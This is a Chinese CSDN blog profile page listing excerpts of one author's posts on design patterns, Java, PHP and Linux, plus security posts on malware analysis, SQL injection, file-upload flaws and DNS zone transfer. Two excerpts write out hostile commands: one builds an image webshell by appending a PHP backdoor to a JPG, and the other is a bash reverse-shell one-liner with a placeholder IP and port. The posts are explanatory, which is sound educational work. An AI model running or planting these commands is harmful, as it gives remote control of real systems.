自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(66)
  • 收藏
  • 关注

原创 incaseformat样本详细分析(附样本下载)

incaseformat样本详细分析注:本文首发于我的博客:http://www.hupeiwei.comincaseformat病毒近日爆发,影响了不少主机。这么一个古老的病毒能够造成这么大的影响,令人感到意外。我从微步在线上下载了样本进行分析。需要注意的是,incaseformat有两个在野版本,详见https://www.52pojie.cn/thread-1351233-1-1.html。我分析的应该是原始版本,但是两个版本除了Sysutils::DateTimeToTimeStamp库函数所使

2021-01-16 11:15:51 3452 2

原创 程序的生成与运行

程序的生成与运行注:本文首次发布于我的博客:http://www.hupeiwei.com这篇文章里,我将介绍一个程序从源码到内存中运行的整个过程。这涉及到很多方面的知识,如有错误还请读者斧正。文章将按照如下结构进行组织:高级程序设计语言、汇编语言、机器码预处理、编译、链接、汇编预处理编译链接汇编程序的加载从反汇编看程序的运行高级程序设计语言、汇编语言、机器码在英语中有a-z这26个字母,一个孩子从最基本的字母开始学起。字母本身没有什么含义,但当它们组合起来,就成了可以描述

2021-01-16 11:10:58 664

原创 Reasons for failing to find target api using codeql

本文原载于我的博客 http://www.hupeiwei.comAs a new practical tool to search bugs in target programs, codeql is more and more popular among software security researchers. A crucial step using codeql is to find target api, then you can define your own violation che

2020-08-08 08:52:34 220

原创 Linux下软件编译常见问题指南(为什么某个源代码文件没有生成目标文件)

本文原载于我的博客 http://www.hupeiwei.com进行安全研究时,可能发现代码中的vuln.c文件存在漏洞;可在对程序编译后,却没有发现它的目标文件(如 vuln.o),影响下一步探索,这是为什么呢?在多数情况下,这是因为目标代码是程序中的插件,或者说一个模块。比如,一个程序的数据库存储可能支持sqlite、mysql,但是默认是使用mysql,那么和sqlite相关的代码可能就不被编译,这就造成了没有生成目标文件的问题。该如何使得目标代码被编译呢?Linux常见的程序编译方式有

2020-08-08 08:47:33 1232

原创 Linux下软件编译常见问题指南(编译过程)

本文章原载于我的博客 http://www.hupeiwei.com在Linux下使用诸如apt、pacman和yum这样的软件管理工具安装软件比较简单,往往一条命令就足够了。但是,如果想安装一个旧版本软件进行测试与研究,或者是一个比较冷门的软件,就需要用户获取源代码从头进行编译。前一段时间我积累了许多这种经验,因此本篇文章从实用的角度描述编译时可能出现的问题及解决办法。在自己开始编译源码前,首先要阅读软件给出的相关说明。它们往往在README或者INSTALL文件中,对软件所依赖的包、编译过程进行一

2020-08-08 08:41:37 588

原创 我的保研之路-哈工大计算机,中科院信工所,复旦大数据学院

托高中的福,在本科读了一个保研率还算可以的学校。在大一的时候我挺注重专业课的学习,系名次比较靠前;大二与大三我则改变策略—平日里以兴趣为指向进行和计算机有关的“瞎搞”,在考试前两周再集中时间复习。这三年的本科学习使我意识到,如果所处专业保研率还可以(不低于10%),在最后能够取得保研资格其实是一件轻而易举的事情。我也不知道这是对期末考试试卷的讽刺,还是对保研资格评定的讽刺。对于“瞎搞”,不同人有...

2019-10-09 12:03:06 2781 14

原创 bugku—INSERT INTO注入解答

本来不打算单独的ctf题目成文,但是这个题写payload快看花我的眼睛了,不写一篇记录一下代码对不住我的眼睛。error_reporting(0);function getIp(){$ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{$i...

2019-01-10 23:53:18 2186 1

原创 设计模式—职责链(Chain of Responsibility)

如果你有Web方面的经验,在JavaScript中的事件流、Java Web中的过滤器,其实都是职责链模式的体现。职责链模式可以这么来形容。A、B、C三个人去参加一个解题比赛,但是A更擅长数学问题,B更擅长理化问题,C更擅长文史问题。于是他们决定这样做:每接到一道题,A先阅读,如果是数学题A解答,否则传给B;B阅读后如果发现是理化题,则B解答,否则传给C来解答。这样A->B->C就构...

2018-11-07 17:01:19 162

原创 渗透小工具—对子域名爆破结果进行有效性验证和内容抽取

在渗透过程中,主站安全性往往比较好,所以要爆破子域名并试图从旁站开始下手。常用的获取子域名的工具有subDomainBrute和Layer子域名挖掘机,但是这两个工具的结果只是把域名及IP导出,并不知道是否能够连通、该子域名对应的网站内容是什么。一般的站点子域名往往能达到几十个,这时候一个一个手动去试太麻烦了,于是我写了下面这个脚本(Python3),分享给大家。#coding=utf-8"...

2018-10-21 10:18:09 1349 1

原创 Web安全中的业务安全问题

今天下午看完了《业务安全实战指南》,是一本2018年的新书。这本书包含的业务安全内容感觉挺全的,不过编排并不好,很多地方都有重复;应该是不同作者写了不同章节,但是事先没有分的太清楚。我将结合以往知识与这本书的内容总结一下Web安全中的业务安全问题。业务安全问题给我的最大感觉就是:漏洞本身技术含量并不高,关键是处理逻辑是否足够严密。我想大致可以将导致业务漏洞的原因分为以下两类:1.过于信赖客户端...

2018-10-15 21:35:23 1780 1

原创 设计模式—享元模式

享元模式(Flyweight)是一种结构型设计模式,它的出现是为了在使用大量细粒度对象时节省空间。在使用大量细粒度对象时,它们彼此之间往往有所相同,又有所不同。比如在一个PPT文档中,可能多处出现了“A”这个字母。它们之间的共同处是字形一样,都是A;不同是颜色不同,有的地方字体颜色为黑,有的地方为灰。我们把这些对象之间相同的地方抽象出来称为“内蕴状态”,不同的地方称为“外蕴状态”。在使用享元模式...

2018-10-14 11:23:27 148

原创 设计模式—门面模式

门面模式(Facade)是结构型设计模式,它的作用是为客户端提供一个简单易用的接口,统一执行一些功能;当然,客户端也可以不使用它,自己去对这些功能进行细致的操作与控制。比如我们现在的手机照相,通常有一个自动(Auto)模式,适合于不太会设置光圈对比度之类东西的用户使用,但是它的手动模式则适合高级用户使用,用户可以自己细致操作每一个步骤,代价是使用更繁琐。这里的自动模式就是一个门面。又比如在公司...

2018-10-14 10:39:36 123

原创 设计模式—装饰器模式

当你去买手抓饼时,可以选择最基础的,也可以选择加蛋的,加肠的,或者加肠加蛋的。假如我们在编程中遇到了类似的问题:已经有了一个最基础的手抓饼类(它继承了手抓饼接口),如何修改代码使得可以创建加肠版本的手抓饼或者加蛋版本的手抓饼呢?也许最简单的直觉是再创建两个类继承手抓饼接口,但是这样还要在这两个版本中把基础手抓饼制作代码再重复一遍,然后进行加肠或加蛋;但其实我们只需要额外添加肠或者添加蛋的代码就够...

2018-10-11 10:35:02 216

原创 数据库(1)—关系数据库简介

也许你经常听到SQL server,Oracle,MySQL等名词,人们将它们统称为数据库。这些服务软件的完整名称其实叫做数据库管理系统(Database-Management System,DBMS),它由数据库(即一些数据的集合)与用来对数据库进行管理(比如访问、创建、删除、修改)的程序组成。基于不同的数据模型,数据库又被分为很多种。目前最常见的,被广泛实现的是关系数据库,它基于关系模型。比...

2018-10-02 15:47:26 676

原创 设计模式—组合模式(Composite)

组合模式是一种结构型设计模式,它适合来描述递归组合的对象结构。这到底是什么样的结构?举个例子,有如下计算式:3×(1+2×4),它由数字3和计算式(1+2×4)组成,而(1+2×4)又由数字1和计算式2×4组成,2×4由数字2和4组成。又比如一个文件夹,里面可以同时包含文件和文件夹,而这个文件夹里又可以包含文件和文件夹,一直递归下去。其实对于这些结构可以用树结构来表示:那些可以再递归下去的...

2018-09-28 23:02:56 191

原创 方便的显示Apache日志更改后的新信息

看Apache的错误日志快看瞎我的眼睛了,因为如果直接打开看的话需要辨别如下信息:哪些行是我这次的新信息在新信息中错误/警告/提示的原因,相对应的文件名以及行数位置为了更方便浏览日志,有了下面这段简单的脚本。它比较此次运行和上次运行中日志文件的不同并以便于观察的格式列出相应信息(通过集合去除重复的提示信息,比如不同时间造成的错误信息但它们是相同的错误)。参数1->查看错误信息...

2018-09-23 17:57:20 189

原创 解决 MySQL 的 ERROR 1698 (28000): Access denied for user 'root'@'localhost'

相信很多刚刚在Linux上装MySQL的用户都会遇到这个问题,到底该怎么解决呢?我在stackoverflow上查找到了答案(我使用了方法1并且十分有效),搬运过来顺便翻译成中文。原文地址:https://stackoverflow.com/questions/39281594/error-1698-28000-access-denied-for-user-rootlocalhost问题大致...

2018-09-22 09:21:29 26070 12

原创 设计模式—单件模式(Singleton)

单件模式是最简单的创建型设计模式,它通过合理的权限控制使得某一个类只能拥有一个实例。使用单件模式注意三个重点部分:私有或保护的构造方法(防止实例被随意创建),类内静态的实例(也是唯一的实例),类内静态的全局访问点(用于获得该唯一实例)。为什么唯一实例和全局访问点要用静态的呢?很明显,如果使用非静态的全局访问点,要调用该方法首先要创建一个实例,然而在类外实例是无法被创建的(受到构造方法的限制),所以...

2018-09-20 19:59:22 190

原创 设计模式—原型模式

原型模式是一种创建型的设计模式,简单的说,就是通过克隆一个已有的对象来获取想要的对象。通过这种方式,一方面使得对象的获得变得简单直接(比如不必再次设置相关属性);一方面实现了良好的封装(使用者对新对象是如何克隆出来的没必要知道);而且在一些编程语言比如Java中,通过重写Object的clone方法,可以更高效的创建新对象(此时的对象克隆生成新对象与普通生成新对象不同,它不执行构造函数,直接对内存...

2018-09-16 21:51:57 151

原创 设计模式—生成器模式(建造者模式)

生成器模式是一种创建型设计模式,它把对象的创建步骤抽象成生成器,并且可以通过指导类(director)对所有生成步骤的先后顺序进行控制。客户端使用指导类并传入相应的生成器,通过指导类的接口便可以得到相应的对象。以我的理解看,生成器模式中的生成器被用来对生成对象的每一个步骤自身进行控制,比如要产生一辆汽车(最终对象),那么玻璃是用普通玻璃还是防弹玻璃(生成最终对象的一个步骤)。而指导类主要用来设...

2018-09-13 11:25:23 9438 2

原创 设计模式—抽象工厂模式

我在上一篇写到了工厂模式,那么抽象工厂模式是什么,和工厂模式的区别在哪里?在工厂模式中我以印刷机印刷分为中译本与英译本两种类型的书本为例,对书本创建一个产品接口,英译本与中译本各为它的一个具体实现类。假设这台印刷机属于某一座国际化学校中,新生开学之际,不只要印刷书本,还需要印刷学校地图,学生准则,新生导引等材料。如果按照工厂模式的思路,需要对它们中的每一种材料都定义一类工厂,这样未免太过麻...

2018-09-13 10:04:21 147

原创 设计模式—工厂方法模式

工厂模式是一种创建型设计模式,它将对象(产品)的创建交给一个工厂(通过工厂的接口,即面向接口进行)。当需要生成另一种产品时,只需要修改工厂的具体类型即可,工厂创建产品的部分不必进行修改。下面以生产某本书的英译本或中译本为例。首先明确在这个例子中要生产的产品为书本,它分为中译本和英译本。我们采用创建型的设计模式—工厂模式,将工厂接口命名为factory_printer,工厂的具体类有fact...

2018-09-12 22:35:34 106

原创 从一道CTF题目看sql注入中元数据的应用

前言第一次看到元数据在sql注入的应用好像是在《web安全深度剖析》,鉴于经验缺乏,只是知道有这么个东西,不知道怎么应用。今天遇到一道和元数据相关的SQL注入题目,所以记录下来。获取元数据//获取所有的库名称:select SCHEMA_NAME from information_schema.SCHEMATA//获取某一库中所有表的名称:select TABLE_NAME ...

2018-06-23 10:52:18 657

原创 Java设计模式—适配器模式(adapter pattern)

现在的手机很多都取消了3.5mm的耳机接口,只留下了一个type-c接口。但是我现在只有一个3.5mm圆孔接口的耳机,我不得不通过一个转接线使得3.5mm的耳机变成type-c接口。//Type-C插座期望Type-C插头class TypeCSocket { void connectWith(TypeCPlug plug){ plug.connectTypeC();...

2018-06-11 23:23:13 183

原创 Java设计模式—策略模式(strategy pattern)

所谓策略模式,即创建一个根据所传递参数对象的不同具有不同行为的方法,这主要是依据多态实现的。将基类作为参数定义某方法,而实际传入不同的子类对象,也就通过后期绑定调用了不同的方法,即采取了不同的策略。abstract class PersonComing { abstract void process(Person person);}class FriendComing exte...

2018-06-11 12:13:29 188

原创 Java设计模式—代理模式(porxy pattern)

在看《Java编程思想》中复用类时,书中提到了代理模式。代理模式与继承,组合同为复用类的方式。组合:在新的类中使用现有类的对象(使用现有类功能而非其接口)。继承:按照现有类的类型来创建新类(使用现有类的一个特殊版本,如轿车是汽车的一个特殊版本)。代理:将现有类置于对象中,同时在新类中暴露该对象的方法。其实代理分为静态代理与动态代理,这里所说的是静态代理。动态代理的知识推荐这篇文章:...

2018-06-11 11:32:55 278

原创 Java中修饰方法的 synchronized 与 static synchronized

当需要对方法进行控制以防该方法被同时调用时,往往需要使用synchronized 与 static synchronized 对方法进行修饰。如果从同步控制块的角度理解它们两个,问题会变得十分简单。synchronized void method1() { //code here}//相当于void method1() { synchronized(this) { ...

2018-06-05 10:53:51 537

原创 Java Comparator 与 Comparable 接口

Java中这两个常用于排序的接口我总是过一段时间就忘了,这次干脆写下来它们,并附上测试的一段例子。两者区别所属包不同:Comparable在java.lang中,而Comparator在java.util中。用于比较的方法定义不同:Comparable<T>中为public int compareTo(T object),而Comparator<T>中为publ...

2018-06-05 10:07:00 216

原创 分析 Java Compile-time Constant(编译时常量)

前言最近被这个概念迷惑住了,翻看中文博客大多没有讲的太清楚,最后多方查阅终于搞清楚,特此记录,希望对别人有帮助。编译时常量定义是否一定需要static修饰?如果你看别人写的编译时常量例子,很多人都会这样定义:public static final int variale = 1;那么这里的static是否为必需的呢?其实,final为必需,static为非必需。如果你懂得了编译器对编译时常量的处理,

2018-05-10 08:02:27 1741

原创 解析漏洞与文件上传漏洞—一对好兄弟

前言目前在很多小型网站上,广泛的存在着文件上传漏洞,在对其进行渗透时,通过sql注入/弱口令爆破进入后台+webshell文件上传也许就是你拿下它最快的方式。但是仅靠文件上传往往不行,有了解析漏洞的帮助效果可能会更好。我对解析漏洞与上传漏洞的理解是:解析漏洞就是让web容器把我们上传的文件当成脚本解析的过程;文件上传漏洞就是通过各种方式使得我们的含有恶意代码的文件上传到服务器的过程。解析漏洞iis6

2018-03-21 16:40:01 3896

原创 在windows cmd中制作图片一句话

在测试网站时如果允许上传图片,可以通过上传一个隐藏后门代码的图片,然后用菜刀连接快速得到webshell。在windows cmd.exe(windows+R后输入cmd可快速打开)中可以快速制作这种图片:copy source.jpg/b+chopper.php target.jpg其中source.jpg为原图片,chopper.php为含有后门代码的脚本,target.j...

2018-03-21 13:36:22 2659

原创 在windows 2003上搭建iis+asp环境

前言为了方便搭建渗透测试环境,将在windows 2003上搭建iis+asp环境的过程简单记录下来。过程首先点击管理您的服务器//可在 开始->程序->管理工具中找到然后点击添加或删除角色选择如图选项: 到这里完成了第一步,接下来:打开Internet信息服务////可在 开始->程序->管理工具中找到如图:首先打开web服务扩展中的Active Server Pages,点击对应选项后再点

2018-03-16 13:41:17 1217

原创 Fatal error: Class 'MySQLi' not found怎么解决

在使用mysqli函数库时有可能会遇到该问题,我来说一下在我的电脑(ubuntu17.01,PHP7.1)上我的问题的解决办法。首先运行含有此段代码的PHP脚本:<?phpif(!function_exists('mysqli_init')&&!extension_loaded('mysqli')){ echo 'We don\'t have mysqli!!!';} else {

2018-03-10 07:49:38 3532

原创 《PHP和MySQL Web开发》阅读总结—3

前言本篇文章简要叙述了PHP中数组的使用,主要包括数组(数字索引数组,关联数组,多维数组)的创建,访问以及数组的一些其他常用函数。数组的分类在C语言中常见的数组叫做数字索引数组,PHP中还有关联数组,也就是说数组的索引可以是一个字符串,这样更有利于表现数组中元素值的意义。 如:$person = array();$person['name'] = 'Tom';$person[

2018-02-01 22:15:56 415

原创 《PHP和MySQL Web开发》阅读总结—2

前言本文主要记录了PHP中和文件有关的操作;主要包括打开文件,写文件,读文件以及几个常用的和文件有关的函数。打开文件PHP中使用fopen函数打开文件,函数原型如下:resource fopen ( string $filename , string $mode [, bool $use_include_path = false [, resource $context ]] )

2018-01-28 22:22:38 222

原创 《PHP和MySQL Web开发》阅读总结—1

前言简要记录了PHP的标识符,变量,常量,作用域,操作符及变量的几个常用函数。标识符PHP中变量的标识符由$开头,后接字母,数字,下划线。变量的标识符区分大小写。如 $var 与 $VAR 是不同的。函数的标识符不区分大小写! 对 FOO() 与 foo() 进行的是等价的调用。一个变量的名称可以和函数的名称相同,但是不建议这么做。变量PHP变量有以下几种数据类型:

2018-01-26 23:40:16 1389

原创 辨别Linux下的>,>>,>&与&>以及反弹shell语句的理解

前言今天看到在Linux中反弹shell时,对常用的反弹shell语句产生了好奇。bash -i >& /dev/tcp/[ip]/[port] 0>&1其实理解它最关键的地方还是在与对于几个看上去相似的符号的理解。我写下来对于它们的看法,不对的地方请大家帮忙斧正。文件描述符有三种标准的文件描述符:0 - stdin 标准输入1 - stdout 标准输出2

2018-01-06 12:49:36 3134 2

原创 DNS域传送漏洞

原理在正常情况下,为了防止一台DSN服务器不工作后整个域名解析工作受到影响,通常会有备用的DNS服务器。而备用的DNS服务器为了保持记录与主DNS服务器一致需要通过dns域传送来获得最新的数据。dns域传送漏洞就发生在这里。由于错误的配置,本来应该只有dns备用服务器能够申请的dns域传送数据能够被发送到匿名申请的其他客户端,导致dns信息暴露。附:常用DNS记录:主机记录(A记录): A记录是用于

2018-01-04 00:46:08 957

翻译 【翻译】Burpsuite Intruder的类型

前言之前看到关于Burp的相关教程(好像是《web安全深度剖析》里面),其中对Burp的各个模块进行了简要的介绍,但并没有对intruder里面的几种类型进行详细的介绍。恰好看到此文(https://digi.ninja/blog/burp_intruder_types.php),篇幅不长,却很好的解释了这几种类型,所以把它翻译过来,一方面方便自己以后查看,一方面希望对其他对这个问题感到迷茫的同仁有

2018-01-03 17:56:23 356

原创 使用scp与远程服务器进行文件传输

在Linux命令行中可以使用scp命令与远程服务器进行文件传输。将本地文件上传至远程服务器scp /path/filename usrname@address:/path/filename将远程服务器文件下载至本地scp usrname@address:/path/filename /path/filename将本地文件夹上传至远程服务器scp -r /path/dir usrname@addres

2017-12-30 00:09:10 676

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除